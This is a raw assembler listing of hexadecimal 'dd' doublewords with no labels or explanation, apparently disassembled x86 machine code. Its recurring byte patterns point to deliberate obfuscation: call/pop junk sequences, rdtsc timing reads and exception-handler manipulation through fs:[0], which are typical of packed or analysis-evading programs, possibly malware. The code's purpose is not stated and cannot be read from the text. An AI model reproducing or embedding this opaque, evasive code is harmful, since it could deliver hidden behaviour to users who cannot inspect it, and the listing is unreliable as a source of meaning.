		dd 0AA37B5C3h, 0CD73ADCEh, 0F297592h, 0D381F8B7h, 2B532665h
		dd 57522EBFh, 5C0832Dh,	50DBB70Fh, 8B666060h, 61D08BF1h
		dd 24048961h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0CC35040h, 8925256Fh, 28338585h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0A2B7C357h, 3711681h, 2834EDBDh, 89006A06h, 28244D9Dh
		dd 3195FF06h, 89062824h, 281F0985h, 0F38D8D06h,	6A062B94h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 61CEC351h, 0FC997295h, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 38EC5BC3h
		dd 0AA2E12E5h, 8358D36Fh, 282415BDh, 850F0106h,	0AEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0B8C35040h, 98D01D4h
		dd 6A062820h, 8E902h, 0D9EA0000h, 0DE43F608h, 0F50B68Dh
		dd 588h, 0D1C1BB00h, 48902B8h, 57006A24h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D3D5E9EBh
		dd 60D9901Eh, 68F0Fh, 8D890000h, 6281F79h, 6830Fh, 0B5890000h
		dd 62834A9h, 0F1BD2B61h, 0FF06282Ch, 282CD195h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D5D921A5h, 0BB666E03h, 0B2E995B3h, 0E800000Dh, 0
		dd 57ED815Dh, 6A062D0Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8949C355h, 283271BDh
		dd 0BDB52906h, 89062804h, 28265D85h, 8DD88B06h,	2B85B085h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0AB7FE8B2h, 1F55BD89h, 10E80628h, 0B8000000h
		dd 719A727Ch, 6313EEC7h, 96D64631h, 8B63807Eh, 2816A59Dh
		dd 0E8505F06h, 9, 1BD26BBh, 0F54F974Dh,	10E915h, 0D0C20000h
		dd 2B60A2E4h, 81757AAAh, 0ABC372E7h, 895F6F5Dh,	0B5092404h
		dd 62814D5h, 35FF64h, 64000000h, 2589h,	85890000h, 6283321h
		dd 165985FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F52872C3h, 945ACF78h, 0FF6A042Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B2C35040h
		dd 13E01170h, 39B5FF8Dh, 6A062804h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FF74C356h
		dd 0A314A014h, 80F6EC19h, 95FF45F3h, 6282DC1h, 0FFE9h
		dd 0FE8B6600h, 19B1BD8Bh, 0B00628h, 0E6FBBF0Fh,	3D958970h
		dd 0E4062810h, 613CF871h, 0DE830Fh, 9D890000h, 6281449h
		dd 8BC8B60Fh, 2826399Dh, 6BA06h, 0CE90000h, 35000000h
		dd 475AC8A3h, 2026003h,	8B0FA95Ch, 0F9BD8BC1h, 0C1062816h
		dd 0BD8904E8h, 6281781h, 0FE2F766h, 684h, 0B5BD0B00h, 2B062811h
		dd 65B589C8h, 8B06281Eh, 0BEBF66D1h, 86E932h, 81660000h
		dd 8B5D9AC3h, 4E4985h, 835B5044h, 9E907C0h, 12000000h
		dd 7D6B0A97h, 0F18FE45Bh, 8900C083h, 281E8995h,	0FD03B06h
		dd 1083h, 0D47BF00h, 4DE96765h,	31000000h, 2826F58Dh, 0FF8D8B06h
		dd 0FFFFFFFh, 987h, 3880F00h, 0F000000h, 0E183D8B7h, 29840F01h
		dd 60000000h, 16CD9501h, 0BD890628h, 6281301h, 0FFA58361h
		dd 0FEFFFFFFh, 24DD9D8Bh, 95890628h, 44004E49h,	0E9DA8B66h
		dd 0
		dd 8D05B58Dh, 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 6AC2C3h,	46595FFh, 6A0628h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 4E5A89C3h, 0A5230E2Eh, 33C3EF83h, 2805019Dh,	1005B906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 3DE6F4C3h, 688D308Fh, 5E82571h, 85000000h
		dd 96682C65h, 5359D8Bh,	835B0628h, 6AFCE1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 7FD4B9C3h
		dd 0B393D0E7h, 50C8A130h, 0A65EEB81h, 0FC5B1E64h, 6850Fh
		dd 8D290000h, 6282D8Dh,	3860Fh,	8B660000h, 0FC02BDAh, 68Dh
		dd 0F19D3300h, 0BA06282Ah, 0
		dd 13E8h, 0EFD13C00h, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h
		dd 475D5329h, 1A319D8Bh, 0AD5B0628h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 6E1AC351h, 9DA7717Ah, 6A8CE7ABh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3D24C352h, 93487BF5h, 880Dh, 0D8BF6600h
		dd 15958B1Ah, 6A062807h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0A9E9C357h,	263D8D31h
		dd 8D8B0628h, 62821BDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 4AC35747h, 870F03D2h,	13h, 0EE9h, 0AC3F8200h
		dd 3A1FF4F5h, 5E511F31h, 0E93A89BDh, 5,	0A2D97430h, 0C28B5043h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 117AC355h, 9580BCAh,	29DF817Dh, 6A29BA29h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0C82DC353h, 8166BE34h, 83107CC3h, 2825A1BDh,	840F0006h
		dd 7Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h
		dd 78C35545h, 9E919h, 33610000h, 0F4C4B6E8h, 0B8EEE48Ch
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 39C35747h
		dd 8D374A93h, 284F6E8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 2F8D01FDh, 0E1FF1367h
		dd 4BD8D89h, 0BD830628h, 628113Dh, 4840F00h, 66000004h
		dd 834F41BBh, 28113DBDh, 840F0106h, 40Eh, 4E5EBF66h, 8B3FBF66h
		dd 113DBD83h, 0F030628h, 3C386h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 5CD5F819h
		dd 89605CEAh, 280D798Dh, 0D98C6606h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0F2C35646h,	0BD298239h, 62807ADh
		dd 0A04E180h, 33840FC9h, 81000001h, 494A90EFh, 0C9858B3Ch
		dd 1062824h, 281865B5h,	5853306h, 6A06282Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 7516C351h, 0CCD7D5h,	85895E5Eh, 6283419h, 50525090h
		dd 0F56B752h, 5AD88B31h, 0E8310F58h, 0Bh, 17AC41D3h, 6F08B8E7h
		dd 66A70F01h, 5A5FDA8Bh, 0B9605058h, 41918283h,	61F38B66h
		dd 0E5858990h, 6A062801h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 88D7710Ah
		dd 9ED84147h, 36F337BFh, 6868F90Eh, 0E8EA7BACh,	13h, 0C307A9A4h
		dd 0FB9D37EEh, 8B2FE106h, 18DEB9Ch, 0F4B82BDh, 0E84h, 9E900h
		dd 0FC820000h, 0A8316DAFh, 5B4D569Ch, 97240481h, 6A15A357h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E222C352h, 176D95FFh, 0C3810628h, 0BCBF3CEh
		dd 0A3FD8589h, 8166062Bh, 0E9CE9CDBh, 203h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5C35646h, 858B27CAh
		dd 62BA3F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	5C35141h, 0EC4E88E8h, 71B31FBDh, 2C09BD33h, 0C70628h
		dd 18h,	5E9h, 0D50C4500h, 0B58B8818h, 62BA3F9h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A8C35141h, 91FB8687h
		dd 2EE9BD8Bh, 858B0628h, 6282B65h, 5826BB66h, 840F0689h
		dd 6, 0DF4BF381h, 858B6E8Ah, 62824C9h, 0FE9h, 0BBA8300h
		dd 93365EE8h, 0B63307D9h, 54412BADh, 8B044689h,	280EB99Dh
		dd 8B665006h, 243489FEh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 69C35343h, 9FCEEC31h,	0FF2BFE65h, 2BA3F5B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0F01BC035h, 61D3E672h, 4E8A0h, 3FF0000h
		dd 5250001Fh, 0ECBF310Fh, 5A0521CCh, 60605058h,	10E972B5h
		dd 0AB000000h, 99D95D05h, 0EF5FE744h, 77AFA6AFh, 61CE558Dh
		dd 5B585353h, 24448B61h, 0E8605104h, 7,	1C5848DAh, 5BC4D8B7h
		dd 0F6DCEFBEh, 8B5F6174h, 0AE800h, 11C50000h, 0D8A8DDE3h
		dd 0DCE8A9AFh, 3870Fh, 8B660000h, 44895FFAh, 11E80424h
		dd 2D000000h, 8E4A1827h, 69995435h, 91572E89h, 0DA40906Fh
		dd 5FDE8B66h, 0DB816658h, 858DD552h, 62BA3FDh, 1FB59D2Bh
		dd 53500628h, 13E8h, 62F33600h,	0C526D33Dh, 2A2CBF24h
		dd 1AF6086h, 9B533F4Fh,	4895F5Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 8ADFFEB1h
		dd 858D8972h, 0FF06280Eh, 28176D95h, 0D858906h,	61062813h
		dd 14EB8166h, 3D85C71Fh, 3062811h, 29000000h, 280379BDh
		dd 0FDBD8306h, 62BA3h, 2E840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E980C8C3h
		dd 27h,	666CF81h, 9D290F36h, 6280619h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 2814519Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 66DCDC9Dh, 895535BBh, 2826A985h,	3DBD8306h
		dd 3062811h, 3E6850Fh, 0BD230000h, 62821C5h, 1301BD8Bh
		dd 0BD830628h, 62BA3FDh, 0CD840F00h, 6A000003h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9E2DC350h, 41BCD5D8h, 9D8B3EC7h, 62826C1h, 0A3FDB5FFh
		dd 0DE9062Bh, 0C4000000h, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h
		dd 0E9595FFh, 89600628h, 2834C195h, 8B61F906h, 2BA3F1B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 106C721h, 6A000100h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 66E8C353h
		dd 8589F88Bh, 628185Dh,	0E8536096h, 0Dh, 0DAE0C22Bh, 0DE476F9Eh
		dd 9A925069h, 665E5911h, 5061C18Bh, 5E8h, 4754CB00h, 0DE8B002Dh
		dd 830F965Bh, 0Dh, 8E9h, 0D9F8DD00h, 0BD9F56AEh, 0FDB5FF00h
		dd 6A062BA3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0C6DEC353h, 0B5B248E4h, 1DB589B2h
		dd 0FF062808h, 28201995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AD1C0E51h
		dd 4FA22D29h, 0F1B58BFCh, 89062BA3h, 280661B5h,	0FEBF0F06h
		dd 17D5858Bh, 8E80628h,	0B7000000h, 0FC8F39E9h,	50C7362Ah
		dd 10E8h, 0F23BEF00h, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch
		dd 5F5F5BD6h, 0C48689h,	0BD290000h, 6281171h, 715958Bh
		dd 0BD8B0628h, 62819A9h, 6A04C283h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 79F9C355h
		dd 0CE22BB10h, 0AD5CE6B5h, 2B559D8Bh, 50890628h, 14E820h
		dd 49FD0000h, 12E17381h, 946A4D52h, 204E74FFh, 0F8DB9A7Ch
		dd 0BD8BF737h, 6281FB5h, 6820F5Fh, 8B000000h, 2812CDBDh
		dd 0D9858D06h, 6A062BB8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 43BCC350h, 1F18ADCh
		dd 0B88689h, 8ABB0000h,	0BB292518h, 316A2232h, 0BD8B006Ah
		dd 6280745h, 0A3FDB5FFh, 12E9062Bh, 86000000h, 0ED4646A1h
		dd 0AFC76813h, 3BE0694Eh, 22589EADh, 0D195FFBDh, 8B06282Ch
		dd 280F899Dh, 0BF665006h, 3489EE7Ch, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7FFDDF8h, 0DE8B24C9h
		dd 0A3FDB5FFh, 0D98A062Bh, 29B995FFh, 6A0628h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 345F86C3h, 53F96077h, 17ED8D89h, 615B0628h, 0C55BD83h
		dd 0F000628h, 5484h, 459D2B00h,	96062807h, 0C4C383BFh
		dd 5250500Ah, 0F8D0Fh, 9E80000h, 9B000000h, 6621085Ah
		dd 943B7952h, 8B310F5Fh, 96585ADEh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 8BC35545h, 56CF8172h, 291EEF97h
		dd 28033195h, 0FDB5FF06h, 0F5062BA3h
		dd 95FFD98Ah, 6282285h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0F3C35545h, 0BE9F5h, 1AC10000h, 0CCFBAFFh
		dd 1DF14EA7h, 0FDB5FFB4h, 0FF062BA3h, 2810C195h, 8BA9B706h
		dd 281951BDh, 61BD8306h, 2062818h, 2D840Fh, 8BF80000h
		dd 28125985h, 0DEE38006h, 6A0000C6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5036C351h
		dd 0C7D88B66h, 28130585h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 6DECDE80h
		dd 781477A0h, 0BD036CD4h, 6282151h, 0FFF37DE9h,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 59D781A7h, 0F1B738Fh, 1089h,	8E800h,	0D8370000h, 0DA0CF444h
		dd 0FA8B3722h, 8BC18B5Fh, 28021DBDh, 5858D06h, 6A06282Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 81EDC352h, 1C8264C3h, 52505044h, 0FE9310Fh
		dd 47000000h, 8EB0D893h, 79A4CE83h, 0A7ED9255h,	585A5209h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 2EECC351h, 0F781D55Ch,	79C540BBh
		dd 0FD8A006Ah, 0FA9B589h, 6A0628h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 79C35646h, 869D78C3h, 0D98A71D1h
		dd 17D9D8Bh, 858D0628h,	62D1F47h, 6860F51h, 29000000h
		dd 280DF185h, 0C0835F06h, 15BD8905h, 8B062817h,	8B6690FBh
		dd 8B6050D9h, 0DDFFBFF9h, 90616689h, 16CD9D8Bh,	6A0628h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B0C35747h
		dd 2BB60933h, 6A006AB0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 304FC351h, 3BFD01CDh
		dd 8B986EE8h, 2822AD9Dh, 3195FF06h, 6A062824h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0F57BC351h, 0A99D8B69h, 8B062816h, 459D8BDAh, 8D062804h
		dd 2B94F38Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 70BB665Ah, 0D1FFF9DEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h, 2415BD83h
		dd 0F010628h, 9B85h, 39BD0300h,	6A06280Eh, 57006A02h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 97EA394Ah, 0CCBBC052h, 9017F696h, 5569BF66h,	12E950h
		dd 19B10000h, 0F385CE32h, 98FD8CFBh, 0BB918B52h, 4E9E6B7Dh
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 519D2B02h, 0FF062800h, 282CD195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 539A84C5h, 0BBD98B84h, 7601E94Bh, 0CEFE9h, 0E800h, 815D0000h
		dd 2D1F51EDh, 0A9BD8906h, 8D062800h, 2B85B085h,	7E806h
		dd 180C0000h, 0AA698839h, 66905F00h, 9050DF8Bh,	23BD8589h
		dd 0FF640628h, 35h, 0EE900h, 0F71A0000h, 3CF1BF5Fh, 0D162FF12h
		dd 0B1CBCBD5h, 258964h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89C7C355h
		dd 2818E58Dh, 5985FF06h, 6A062816h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 54DCC353h
		dd 0FF6ADF8Bh, 60FFB70Fh, 18A0Fh, 9F90000h, 28026985h
		dd 0B5FF6106h, 62822A9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 5DC35141h, 211A2B30h,	2758540h, 86B3E381h
		dd 0BB667333h, 95FFB7A7h, 6282DC1h, 107E9h, 3D8D8900h
		dd 0B0062807h, 499D8900h, 0E606281Dh, 2D8D8970h, 81062810h
		dd 67C521F3h, 0BF71E418h, 5ABE7FC5h, 830F613Ch,	0DCh, 0DE8h
		dd 0B2BE7300h, 0C8209A1Bh, 9A55B151h, 0F960715Ah, 14F5958Bh
		dd 5B610628h, 0BAC8B60Fh, 6, 27219D01h,	0C18B0628h, 6604E8C1h
		dd 2BF9E2F7h, 719D8BC8h, 8B062817h, 0EE9D1h, 0B4A80000h
		dd 261BDE69h, 414F431Dh, 6CBD1310h, 87E9h, 8830F00h, 57000000h
		dd 800Fh, 8B5F0000h, 5F4C4C85h,	2D9D8B50h, 83062833h, 0C08307C0h
		dd 0FD03B00h, 1F83h, 9E900h, 0A5650000h, 65983655h, 0E93F7781h
		dd 4Ch,	292DBD8Bh, 0B5890628h, 6282949h, 0FFFF8D8Bh, 820FFFFFh
		dd 0Dh,	8E9h, 91AC300h,	636BD0AFh, 1E18349h, 1E840Fh, 0DB810000h
		dd 140F992h, 0FFFFA583h, 89FEFFFFh, 5F4C4C95h, 71958950h
		dd 0E9062803h, 0
		dd 9D0AB58Dh, 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6AD808C3h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E0FA2E22h
		dd 338984A2h, 0EB814870h, 5E2B4711h, 95FFDF8Bh,	6280465h
		dd 419B509h, 9EB90628h,	6A00000Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F888C353h
		dd 1FCE183h, 28344D8Dh,	6AFC06h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 837EEBC3h, 6077EB7Eh
		dd 2CDDBD89h, 95890628h, 6282A95h, 6AC02B61h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 893FC353h, 2D6B5A14h, 3FF77A1Ch, 0D859589h, 0D22B0628h
		dd 29699509h, 33AD0628h, 3E8D1C2h, 4E983D0h, 0FC8AF475h
		dd 5A88BB66h, 880Dh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0DC6A45CEh, 0A9C0B323h
		dd 499D8BCBh, 8B062800h, 28071595h, 0BD8D8B06h,	6A062821h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FCEC351h, 482h, 19BB6600h, 0C28B502Fh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 9690C357h
		dd 57573800h, 2F8D8D31h, 5B5B0628h, 25A1BD83h, 0F000628h
		dd 7C84h, 5987BB00h, 0B81B4Fh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A107C352h
		dd 0FE8A0675h, 13E9h, 1419FB00h, 0AC8264EAh, 570C5FCEh
		dd 849AF7EFh, 0BC8188C1h, 4F6E8D8Dh, 0C7800628h, 6AE1FF9Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0DAB3C352h, 69D6C36Fh, 2C31BD8Bh,	0DB810628h
		dd 3E450059h, 3DBD83FCh, 62811h, 3E1840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 51E804C3h, 0DBBF0F51h, 113DBD83h, 0F010628h,	3CD84h
		dd 3DBD8300h, 3062811h,	38A860Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D362A1C3h
		dd 0B3FAB37Dh, 81663609h, 60991CEFh, 66DF8B66h,	8529D98Ch
		dd 62812C9h, 6A04E180h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 5A3CC356h, 8B66C503h
		dd 0FC90AFAh, 0D784h, 5D9D8B00h, 0F062823h, 88h, 0C9858B00h
		dd 33062824h, 282D0585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0FCA89146h, 0B7524B0Dh
		dd 8B665062h, 240489FEh, 0FE9h,	8436E900h, 3512C25Dh, 72F01BC0h
		dd 0A061D3E6h, 9E8006Ah, 56000000h, 0B3D25A05h,	752C8061h
		dd 3F9B589h, 685F0628h,	80A79B1Fh, 48A0Fh, 60520000h, 4815B61h
		dd 7768E024h, 0D781667Fh, 95FF9E91h, 628176Dh, 8589F98Ah
		dd 62BA3FDh, 85B589FCh,	0E906282Eh, 220h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 82C35141h, 73924BCDh
		dd 5CAEBFC8h, 29606FFEh, 2818A9B5h, 69B52B06h, 61062802h
		dd 0A3F5858Bh, 6A062Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 24D5B0C3h, 0A1CE56CFh, 0F9F797Eh
		dd 68Ah, 0F5BD8B00h, 0C706280Ch, 1800h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 3D104B1Bh, 3C29BA89h, 0A3F9B58Bh, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9531D7C3h
		dd 62818E5h, 2B65858Bh,	6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8984C3C3h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 3D39D7B8h, 0EA714778h, 0C9858B9Fh, 0F062824h, 889h
		dd 0F3815100h, 4DDBFF80h, 446895Fh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 27C35242h, 4A60BB5Eh, 0E9FE8BE6h
		dd 0Ch,	587D564Ch, 0FC42653Bh, 5A2E42EFh, 8C0F5196h, 2
		dd 505B6160h, 96DA8B66h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 18C35242h, 595365B2h,	0FA8B6615h, 0A3F5B5FFh
		dd 81FC062Bh, 78AD4BCFh, 0F34F6875h, 8B66D04Dh,	240481D9h
		dd 2FD110B0h, 124DBD8Bh, 9D890628h, 62832ADh, 0A3FD858Dh
		dd 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 349469C3h, 0B588356Ah, 0FABFDA70h, 904250EEh
		dd 0F50FB8Bh, 1283h, 50525000h,	5A310F52h, 0F310F58h, 81h
		dd 90585A00h, 176D95FFh, 6A0628h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8D290DC3h, 62831E1h
		dd 11E861h, 0FCE0000h, 14F6F30Ah, 0C7CDC629h, 62A347BAh
		dd 0FC6128Dh, 0C75BDAB7h, 28113D85h, 306h, 69BD8B00h, 8306280Eh
		dd 2BA3FDBDh, 840F0006h, 2Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0BFC35141h,	52543855h, 0B2F3864Fh
		dd 1DE93Eh, 7DB70000h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 28132985h, 3DBD8306h,	3062811h
		dd 473850Fh, 0BB660000h, 0BD8328ACh, 62BA3FDh, 62840F00h
		dd 0E9000004h, 9, 407C46A7h, 2B51E216h,	0FDB5FF35h, 6A062BA3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0FF36C351h, 0E9B750A6h, 9595FF5Fh, 6A06280Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 8F9FC350h, 2C6AF582h, 8BAC6127h, 281911BDh
		dd 0F1B58B06h, 0FC062BA3h, 8800Fh, 89530000h, 282BD1B5h
		dd 6C75B06h, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9BC35545h, 79BD8B7Dh,	29062822h, 280EF985h
		dd 0D820F06h, 50000000h, 6E9h, 9C404200h, 5B73F78Eh, 0EE950h
		dd 0B4360000h, 0D999242Fh, 47F43D9Dh, 0D59B258Dh, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0CB8AC352h, 41BD8956h, 8B06282Eh,	2821119Dh
		dd 0FDB5FF06h, 50062BA3h, 21499589h, 0FF5B0628h, 28201995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A50E582Ah, 74D7100h, 59BD89E7h,	8B062809h
		dd 2BA3F1B5h, 10E906h, 0C10F0000h, 452290E1h, 72B2DFB6h
		dd 861F7020h, 858BAE43h, 62817D5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 6DC35040h, 5F6275E5h, 897BF6F0h
		dd 0C486h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0FE910CEh
		dd 54000000h, 0E52DAA34h, 0E915F935h, 9C6D30AFh, 958B4EE5h
		dd 6280715h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	2CC35545h, 0F951C0CBh, 0C59DB129h, 0F7CCEBFh, 799D8B50h
		dd 83062804h, 816604C2h, 896DDDD3h, 0CE92050h, 53000000h
		dd 88F3C493h, 0AA5C9513h, 29078CE5h, 281E8995h,	0D9858D06h
		dd 6A062BB8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0FB6EC355h, 0E2BE23F9h, 0A6293429h
		dd 8689D88Bh, 0B8h, 6A61F860h, 55006A00h, 3E8h,	0C35D2000h
